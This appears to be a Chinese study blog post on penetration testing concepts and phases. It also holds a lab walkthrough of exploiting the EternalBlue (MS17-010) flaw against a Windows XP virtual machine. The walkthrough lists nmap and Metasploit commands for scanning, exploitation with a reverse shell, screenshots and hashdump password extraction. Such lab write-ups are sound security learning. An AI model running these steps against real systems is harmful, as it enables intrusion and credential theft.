Day2 渗透测试基础&永恒之蓝漏洞(MS17-010)的复现

渗透测试

渗透(Penetration Testing)通常指的是在计算机安全领域中,以合法授权的方式评估系统、网络或应用程序的安全性。渗透测试是指通过模拟黑客攻击来检测系统中的潜在漏洞和弱点,并提供改进建议来增强系统的安全性。渗透测试旨在发现可能被攻击者利用的安全漏洞,以便及时修复它们,从而减少对系统的风险和潜在威胁。渗透测试通常由专业的安全团队或渗透测试专家执行。

简而言之,渗透测试就是一种通过模拟恶意攻击者的攻击方式(前提是要被授权),进攻目标系统的安全控制措施(找薄弱环节),进而获取访问控制权,并具备影响系统业务的安全隐患的安全测试与评估的方法。

安全漏洞和Bug(程序错误)是两个不同的概念,尽管它们都与软件和系统的问题相关。

  • 安全漏洞(Security Vulnerability)指的是软件或系统中存在的缺陷、弱点或错误,可能被攻击者利用来入侵系统、获取未授权的访问权限或执行恶意操作。安全漏洞可以涉及设计缺陷、实现错误、配置问题等。发现安全漏洞后,需要进行修复或补丁以增强系统的安全性。

  • Bug(程序错误)是指在软件开发过程中出现的错误或缺陷,导致软件无法按预期工作。这些错误可能影响软件的功能、性能、稳定性或用户体验。与安全漏洞不同,Bug一般不会直接威胁系统的安全性,而是影响软件的正常运行。

虽然安全漏洞和Bug有时可能存在重叠,但它们的关注点和影响方面略有不同。安全漏洞主要关注潜在的系统入侵和未授权访问,而Bug主要关注软件的功能和可靠性。

渗透测试的分类

1、黑盒测试/外部测试
黑盒测试(Black box Testing )也称为外部测试(External Testing)。 采用这种方式时,渗透测试者将从一个远程网络位置来评估目标网络基础设施,并没有任何目标网络内部拓扑等相关信。他们完全模拟真实网络环境中的外部攻击者,采用流行的攻击技术与工具有组织、有步骤地对目标组织进行逐步渗透和入侵,揭示目标网络中一些已知或未知的安全漏洞,并评估这些漏洞能否被利用,以获取控制权或者操作业务造成资产损失等。黑盒测试的缺点是测试较为费时和费力,同时需要渗透测试者具备较高的技术能力。优点在于,这种类型的测试更有利于挖掘出系统潜在的漏洞,以及脆弱环节和薄弱点等 。

2、白盒测试/内部测试

白盒测试(White box Testing )也称为内部测试(Internal Testing)。进行白盒测试的渗透测试者可以了解到关于目标环境的所有内部和底层信息。这可以让渗透测试人员以最小的代价发现和验证系统中最严重的漏洞。白盒测试的实施流程与黑盒测试类似,不同之处在于无须进行目标定位和情报收集。渗透测试人员可以通过正常渠道从被测试机构取得 各种资料,如网络拓扑、员工资料甚至网站程序的代码片段等,也可以和单位其他员工进 行面对面沟通 。
白盒测试的缺点是无法有效地测试客户组织的应急响应程序,也无法判断出他们的安全防护计划对特定攻击的检测效率 。这种测试的优点是发现和解决安全漏洞所花费的时间和代价要比黑盒测试少很多 。

3、灰盒测试/组合测试

灰盒测试(Grey box Testing )是白盒测试和黑盒测试基本类型的组合它可以提供对目标系统更加深入和全面的安全审查。组合之后的好处就是能够同时发挥这两种渗透测试方法的优势。在采用灰盒测试方法的外部渗透攻击场景中,渗透测试者也类似地需要从外部逐步渗透进目标网络,但他所拥有的目标网络底层拓扑与架构将有助于更好地选择攻击途径与方法,从而达到更好的渗透测试效果 。

渗透测试-目标分类

1、主机操作系统渗透:对Windows、Solaris、AIX、Linux、SCO、SGI等操作系统本身进行渗透测试。

2、数据库系统渗透:对MS-SQL、Oracle、MySQL、Informix、Sybase、DB2、Access等数据库应用系统进行渗透测试。

3、应用系统渗透:对渗透目标提供的各种应用,如ASP、CGI、JSP、PHP等组成的WWW应用进行渗透测试。

4、网络设备渗透:对各种防火墙、入侵检测系统、网络设备进行渗透测试。

渗透测试-位置分类

1. 外部渗透测试(外网渗透):这种测试是在攻击者视角下对目标系统进行评估。测试人员模拟外部攻击者的行为,尝试从互联网上获取未授权访问、敏感信息泄露等。

2. 内部渗透测试(内网渗透):这种测试模拟了内部攻击者的行为,测试人员在组织的内部网络环境中操作。目标是检测内部安全漏洞、提权方法以及可能的横向移动路径。

3. 垂直渗透测试:这种测试针对特定的业务垂直领域进行,例如金融机构、医疗保健等。测试人员会关注该行业的特定安全问题和合规要求。

4. 横向渗透测试:这种测试涉及多个系统或应用程序之间的交互。测试人员试图通过跨越不同的系统或应用程序来获取更高级别的访问权限。

5. 物理位置渗透测试:这种测试关注物理安全措施,如办公室、数据中心、设备存储区等。测试人员会尝试进入受限区域、绕过门禁系统或获取未授权的物理访问权限。

渗透测试流程

1、前期交互阶段
在前期交互(Pre Engagement Interaction )阶段,渗透测试团队与客户组织进行交互讨论,最重要的是确定渗透测试的范围、目标、限制条件以及服务合同细节。该阶段通常涉及收集客户需求、准备测试计划、定义测试范围与边界、定义业务目标、项目管理与规划等活动

2、情报搜集阶段
在目标范围确定之后,将进入情报搜集(Information Gathering )阶段渗透测试团队可以利用各种信息来源与搜集技术方法,尝试获取更多关于目标组织网络拓扑、系统配置与安全防御措施的信息。渗透测试者可以使用的情报搜集方法包括公开来源信息查询、Google Hacking 、社会工程学、网络踩点、扫描探测、被动监听、服务查点等。而对目标系统的情报探查能力是渗透测试者一项非常重要的技能,情报搜集是否充分在很大程度上决定了渗透测试的成败,因为如果你遗漏关键的情报信息,你将可能在后面的阶段里一无所获。

3、威胁建模阶段
在搜集到充分的情报信息之后,渗透测试团队的成员们停下敲击键盘,大家聚到一起针对获取的信息进行威胁建模( Threat Modeling )与攻击规划。这是渗透测试过程中非常重要,但很容易被忽视的一个关键点 。通过团队共同的缜密情报分析与攻击思路头脑风暴,可以从大量的信息情报中理清头绪,确定出最可行的攻击通道 。

4、漏洞分析阶段
在确定出最可行的攻击通道之后,接下来需要考虑该如何取得目标系统的访问控制权,即漏洞分析( Vulnerability Analysis )阶段 。在该阶段,渗透测试者需要综合分析前几个阶段获取并汇总的情报信息,特别是安全漏洞扫描结果、服务查点信息等,通过搜索可获取的渗透代码资源,找出可以实施渗透攻击的攻击点,并在实验环境中进行验证。在该阶段高水平的渗透测试团队还会针对攻击通道上的一些关键系统与服务进行安全漏洞探测与挖掘,期望找出可被利用的未知安全漏洞,并开发出渗透代码,从而打开攻击通道上的关键路径。

5、渗透攻击阶段
渗透攻击(Exploitation )是渗透测试过程中最具有魅力的环节。在此环节中,渗透测试团队需要利用他们所找出的目标系统安全漏洞,来真正入侵系统当中,获得访问控制权。渗透攻击可以利用公开渠道可获取的渗透代码,但一般在实际应用场景中,渗透测试者还需要充分地考虑目标系统特性来定制渗透攻击,并需要挫败目标网络与系统中实施的安全防御措施,才能成功达成渗透目的。在黑盒测试中,渗透测试者还需要考虑对目标系统检测机制的逃逸,从而避免造成目标组织安全响应团队的警觉和发现。

6、后渗透攻击阶段
后渗透攻击(Post Exploitation )是整个渗透测试过程中最能够体现渗透测试团队创造力与技术能力的环节。前面的环节可以说都是在按部就班地完成非常普遍的目标,而在这个环节中,需要渗透测试团队根据目标组织的业务经营模式、保护资产形式与安全防御计划的不同特点,自主设计出攻击目标,识别关键基础设施,并寻找客户组织最具价值和尝试安全保护的信息和资产,最终达成能够对客户组织造成最重要业务影响的攻击途径。在不同的渗透测试场景中,这些攻击目标与途径可能是千变万化的,而设置是否准确并且可行,也取决于团队自身的创新意识、知识范畴、实际经验和技术能力。

7、报告阶段
渗透测试过程最终向客户组织提交,取得认可并成功获得合同付款的就是一份渗透测试报告( Reporting )。这份报告凝聚了之前所有阶段之中渗透测试团队所获取的关键情报信息、探测和发掘出的系统安全漏洞、成功渗透攻击的过程,以及造成业务影响后果的攻击途径,同时还要站在防御者的角度上,帮助他们分析安全防御体系中的薄弱环节、存在的问题,以及修补与升级技术方案。

永恒之蓝(MS17-010)漏洞的复现

终于有趣的实操来了!准备好了吗?

目标:拿shell、查看文件,查用户密码......

攻击机

kali-linux-2023.3

IP:192.168.236.129/24

靶机

windows XP Professional

IP:192.168.236.133/24

实验开始

快速查看那个IP开放445端口。

nmap -T4 -A -v -Pn 192.168.236.1/24

由图可知192.168.236.133的445 端口是开放的,接下就可以去ping它,看是否存活。

 

可以ping通,说明那这台主机试试是否存在ms17-010漏洞。

 用msfconsole命令进入Metasploit的渗透测试框架,进而检测和利用漏洞。

 用search来查找ms17-010漏洞可用模块

search ms17-010

这里利用auxiliary模块进行漏洞检测,exploit模块进行攻击。

 输入auxiliary模块对应命令进入检测环节(这里为了方便使用对应编号:use 3)

use auxiliary/scanner/smb/smb_ms17_010

通过show options来显示需要检测的对象RHOSTS 是空白,需用set加上检测对象IP(靶机IP)

set rhosts 192.168.236.133

加载好之后,用run/exploitl来执行。

发现存在漏洞,便可利用exploit模块进行漏洞利用。

这里利用永恒之蓝的攻击模块eternalblue(即use 0)

use exploit/windows/smb/ms17_010_eternalblue

通过show options显示这里靶机IP需要设置,payload设置反向连接(reverse_tcp,在内网,被攻击者主动连接攻击者,不受防火墙策略的限制)(bind_tcp,正向连接,在公网攻击机主动连接被攻击者),lhosts是监听者的IP(192.168.236.129,kali的IP无需设置),监听端口是4444。

看情况是攻击失败了,这里提示这个攻击模块支持攻击X64系统的机器。那我就换个攻击模块。

这个模块是结合了Psexec工具(该模块使用Psexec工具作为利用载荷,使攻击者可以通过MS17-010漏洞进行远程代码执行和系统级权限获取。)

设置同上就不多赘述,直接设置RHOSTS的IP就可以run。

set rhosts 192.168.236.133

从图可以看出攻击成功。

查看靶机文件

也可以直接在meterpreter下直接查看。

通过 meterpreter 获取屏幕快照。

screenshot

通过getuid用户的权限和身份,用hashdump来获取账号和密码。

密码用MD5来解密。

声明

以上内容仅代表作者个人观点,本文仅作为网络安全学习参考。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值